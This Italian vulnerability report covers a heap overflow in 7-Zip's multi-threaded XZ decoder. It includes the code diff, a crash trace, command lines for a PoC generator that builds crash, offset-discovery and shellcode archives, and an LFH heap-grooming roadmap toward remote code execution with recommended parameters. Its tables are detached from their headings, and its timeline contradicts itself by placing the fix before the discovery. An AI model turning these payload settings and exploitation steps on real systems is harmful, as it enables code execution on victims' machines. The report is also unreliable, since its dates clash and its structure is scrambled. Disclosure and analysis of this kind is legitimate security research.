
7-Zip XZ Decoder Heap Buffer Overflow - Analisi completa, causa principale, PoC e roadmap di sfruttamento RCE
Gravità critica | CVSS: 8.8 (Alta) | CWE-122: Buffer overflow basato su heap
Versioni interessate: 7-Zip ≤ 26.01 | Corretto: 7-Zip 26.02 (2026-06-25)
Scoperto e analizzato da: Li Yuxuan (liyuxuan504-byte) e team
Nelle versioni di 7-Zip ≤ 26.01 è presente un overflow del buffer heap nel percorso del decoder XZ multi-threaded. Un archivio .xz appositamente predisposto può innescare una scrittura fuori dai limiti oltre il buffer di output allocato nell'heap, causando:
STATUS_ACCESS_VIOLATION (0xC0000005)La vulnerabilità risiede in MixCoder_Code() in C/XzDec.c, dove il ramo SingleBuf (outBuf) passa un destLen2 non controllato al decoder LZMA2 senza limitarlo rispetto alla capacità residua del buffer (outBufSize - outWritten).
Qualsiasi sistema o applicazione che utilizzi una versione vulnerabile di 7-Zip (o 7z.dll) per estrarre file .xz non attendibili è a rischio: il percorso multi-threaded è abilitato per impostazione predefinita sui sistemi multi-core.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
Vulnerabile (26.01) — C/XzDec.c ~L606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
Corretto (26.02) — C/XzDec.c ~L605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
La correzione è di sole 3 righe. Sottrae p->outWritten (byte già scritti in questo outBuf) da destLen2 prima di passarlo al decoder LZMA2, garantendo che il decoder non possa mai scrivere oltre il buffer allocato.
Nel percorso single-threaded, XzUnpacker_Code applica un proprio clamp rem basato su unpackSize prima di chiamare MixCoder_Code. Questo clamp limita correttamente l'output. Il percorso multi-threaded SingleBuf aggira questo clamp perché passa destLenOrig direttamente — il clamp a monte è inefficace quando destLen è pre-impostato alla dimensione completa dei dati di input rimanenti anziché all'effettiva capacità residua del buffer.
L'outBuf viene allocato nell'heap CRT tramite ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Allocatore | Sfruttabilità |
|---|
L'approccio di sfruttamento più promettente:
unpackSize piccolo (256–16384 byte) per innescare l'allocazione LFHnext della free-list LFH → si ottiene una primitiva di allocazione arbitraria| Capacità | Stato |
|---|
I debugger convenzionali (x64dbg, WinDbg) modificano il comportamento di creazione dei processi. Sotto un debugger, 7z.dll potrebbe non caricare mai il percorso XZ multi-threaded — il processo torna silenziosamente alla modalità single-threaded, dove la vulnerabilità non si attiva. L'approccio richiesto è stato:
tools/)poc/poc-cve-2026-14266-rce.py è un generatore di exploit XZ completo:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
Testato su: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00
Intuizione chiave: tutte le allocazioni nella fascia LFH (≤16 KB) producono overflow silenziosi — i dati del payload vengono scritti su oggetti heap adiacenti senza un crash immediato. Questo è il prerequisito per lo sfruttamento RCE.
Da una sessione x64dbg dal vivo (7-Zip 26.00, percorso MT):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c)7z x -mmt=1 <file.xz>0xC0000005 durante l'estrazione0xC0000374)unpackSize dichiarato├── README.md ← This report
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC generator (cyclic/shellcode/raw)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP automation for heap layout
│ ├── 05-mini-debugger.ps1 ← C# Win32 debug API mini-debugger
│ └── 06-guard-dump.ps1 ← Guard-page heap dumper (LFH analysis)
└── docs/
├── 01-crash-point-analysis.md ← Live crash trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Full root cause analysis
└── 03-rce-exploit-plan.md ← RCE exploitation strategy
Questo rapporto è destinato esclusivamente a scopi di ricerca educativa e di sicurezza difensiva. Il codice PoC è fornito per aiutare i ricercatori di sicurezza e i difensori a comprendere la vulnerabilità e a sviluppare capacità di rilevamento. Non utilizzare questo codice contro sistemi che non possiedi o per i quali non hai ricevuto un'autorizzazione esplicita al test.
| ≤ 16 KB | LFH (Low Fragmentation Heap) | ★ Ottimale per RCE — oggetti adiacenti nello stesso bucket |
| 16–64 KB | Segment Heap (Backend) | Possibile — corruzione della free-list |
| ≥ 64 KB | VirtualAlloc (allineato alle pagine) | Solo DoS — la guard page blocca l'overflow |
| DoS (crash) | ✅ Confermato, affidabile su 7-Zip 26.00 x64 |
| Overflow dell'heap silenzioso (LFH) | ✅ Confermato — scrive oltre il buffer, codice di uscita 2, nessun crash |
| Consegna controllata del payload | ✅ Completamente controllabile tramite i dati dei copy-chunk LZMA2 |
| Primitive di layout dell'heap | ✅ Concetto dimostrato — richiede ottimizzazione del layout specifica del target |
| Catena RCE completa | ❌ In corso — richiede analisi del layout dell'heap sul target |
| Parametro | Descrizione | Consigliato |
|---|
--unpack-size | unpackSize dichiarato del blocco (= dimensione di allocazione di outBuf) | 256–4096 per RCE LFH |
--overflow | Byte totali da scrivere oltre outBuf | 4096–32768 |
--chunk-size | Dimensione dei dati dei copy-chunk LZMA2 (1–65535) | NON deve dividere uniformemente unpackSize! Usare un numero primo (97) o --force-align-overflow |
--payload-cyclic | Pattern ciclico per la scoperta dell'offset | Usare prima, poi sostituire con il payload reale |
--payload-shellcode | Incorpora lo shellcode Win x64 WinExec("calc.exe") | ~276 byte |
unpackSize | chunk_size | Overflow | Risultato |
|---|
| 256 KB (0x40000) | 4096 (allineato) | ~32 KB | 0xC0000005 — Access Violation (guard page) |
| 256 KB | 3 (DoS originale) | ~30 KB | 0xC0000005 — Access Violation |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — Corruzione heap rilevata |
| 256 B | 97 | ~1 KB | Exit 2 — Overflow silenzioso! |
| 4 KB | 97 | ~16 KB | Exit 2 — Overflow silenzioso! |
| 16 KB | 97 | ~32 KB | Exit 2 — Overflow silenzioso! |
| Data | Evento |
|---|
| 2026-07-24 | Vulnerabilità scoperta e confermata su 7-Zip 26.00 |
| 2026-07-24 | Sviluppato il PoC di crash; il debugging dal vivo conferma l'overflow dell'heap |
| 2026-07-24 | Causa radice identificata: manca destLen2 -= outWritten in MixCoder_Code |
| 2026-07-24 | Sviluppato il generatore di PoC RCE con strategia di sfruttamento LFH |
| 2026-07-25 | Pubblicato il rapporto di analisi completo |
| 2026-06-25 | Rilasciato 7-Zip 26.02 con la correzione |